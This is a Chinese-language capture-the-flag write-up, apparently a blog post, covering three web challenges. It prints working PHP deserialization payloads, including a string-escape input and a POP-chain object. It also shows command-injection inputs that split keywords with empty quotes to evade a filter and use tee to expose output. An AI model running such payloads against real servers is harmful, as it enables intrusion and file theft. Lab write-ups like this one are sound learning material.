WSCTF--网安卫士(练习赛)web方向write up

a8744b7abaa24235a7d61c5a90dfb7eb.png

江苏大学盛大的十一月校赛,两道反序列化漏洞一道RCE,也是让我狠狠恶补了一下反序列化漏洞

can_u_escape

8a60e4e7f7d54e68a595becc782fd8d6.png

y1s1,这道题是直接照抄的B站橙子科技的一道题

链接:PHP反序列化漏洞学习_哔哩哔哩_bilibili​​​​​​

这道题是字符串增多逃逸的一道题,利用的是

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hake",$name);
    return $name;

这里把php转换为hake的机制,具体理论可以在上面的视频中学习,下面我只给出payload

?a=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

c99eb51a1b0a452cacfaf3bc94a492c9.png

WSCTF{9_kuai_big_bottle_ulog_tee}

can_u_know

69cb5727b4cc4cdabc82e2bb068320dc.png

44ff8fdd24644932904289e1234803a7.png

根据题目要求,先打开shop.php

4cdf92582718448fb3ef68b2f9dbe2c6.png

简单审计一下,发现

$buy=$_GET['buy'];
$un_buy=unserialize($buy);

所以这道题要利用到反序列化漏洞

if(isset($_GET['buy'])){
    $gift1=$anotherthing;
    $gift2=$otherthing;

这里把gift1和gift2赋值成了anotherthing和otherthing

所以不能直接传参使if($un_buy['onething']==$gift1 && $un_buy['twothing']==$gift2)这个条件为true

但是我们注意到这里用到了==的弱比较

所以就想到了把onething和twothing都赋值为0尝试绕过比较

payload如下

shop.php?buy=a:2:{s:8:"onething";i:0;s:8:"twothing";i:0;}

3a409151654f4d63b8e9bf1f6e82545c.png

然后就成功力,这个应该是base64编码,咱们先不管,继续做下一道题

打开kfc.php

17bfd098afa048e19b271f486d25cb72.png

下载下来kfc.rar,发现里面就是源码

<?php

class order
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class zhengcan
{
    public $lbjjrj;

    function __call($name, $arguments)
    {
        echo $this->lbjjrj->douzhi;
    }
}

class tiandian
{
    

    function __get($Attribute)
    {
        echo '';
        
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    echo "使用压缩包点单kfc.rar";
}

简单审计一下,猜测应该是反序列化漏洞中的pop链构造

猜测flag应该是在tiandian这个类里面输出的,要触发这里面的get方法

所以我们来仔细看看源码并尝试构造pop链

order

class order {
    public $start;

    function __destruct() {
        $this->start->helloworld();
    }
}
  • order 类对象被销毁时,它的析构函数 __destruct() 会调用 $this->start->helloworld()
  • 因此,start 必须是一个对象,并且这个对象需要支持调用 helloworld() 方法。

zhengcan

class zhengcan {
    public $lbjjrj;

    function __call($name, $arguments) {
        echo $this->lbjjrj->douzhi;
    }
}
  • 如果调用了不存在的方法(如 helloworld()),会触发 __call() 魔术方法。
  • __call() 方法中,试图访问 $this->lbjjrj->douzhi 属性。
  • 因此,lbjjrj 必须是一个对象,并且最好具有 douzhi 属性。

tiandian

class tiandian {
    function __get($Attribute) {
        echo '';
    }
}
  • 当访问不存在的属性时,会触发 __get() 方法。
  • 触发__get() 方法后会输出flag

因此 payload如下:

kfc.php?serialize=O:5:"order":1:{s:5:"start";O:8:"zhengcan":1:{s:6:"lbjjrj";O:8:"tiandian":0:{}}}

解出结果如下

8643c219115346108faade435ee451bd.png

将两段字符串连接起来并用CyberChef解密,结果如下

You don't actually have a girlfriend, it's just my imaginary cyber life

真相太残酷了我要哭了QwQ

can_you_see

8a53dbc8bed44ad6a0883daab5187bb1.png

根据exec($url)可以知道这是一道RCE题目

看到过滤的名单中没有单引号,所以猜测可以用''空字符来绕过过滤

8143a5baac204df799d83217ec4f6331.png

该回显就说明绕过过滤成功了,但是我们发现并没有回显,怎么办呢

那就可以用到 | 和 tee函数的组合拳进行解题,用tee把回显放到output.txt文件中

用如下payload进行测试:

?url=whoami | tee /var/www/html/output.txt

然后访问output.txt,发现回显成功保存在里面

599d53b1df334dc398dd905e036aa719.png

接下来就简单了

?url=l''s | tee /var/www/html/output.txt

发现当前目录只有我们的txt文件和index.php

所以访问一下根目录

?url=l''s / | tee /var/www/html/output.txt

27509e7c1424466a9d7e2e27e3bf3528.png

找到了flag.txt,用cat查看一下

?url=c''at /fl''ag.txt | tee /var/www/html/output.txt

852696fcbe0e482dbc00bb647ac11ad5.png

win~

 

 

 

posted @ 2024-11-28 19:58  ALe_#3  阅读(11)  评论(0)    收藏  举报  来源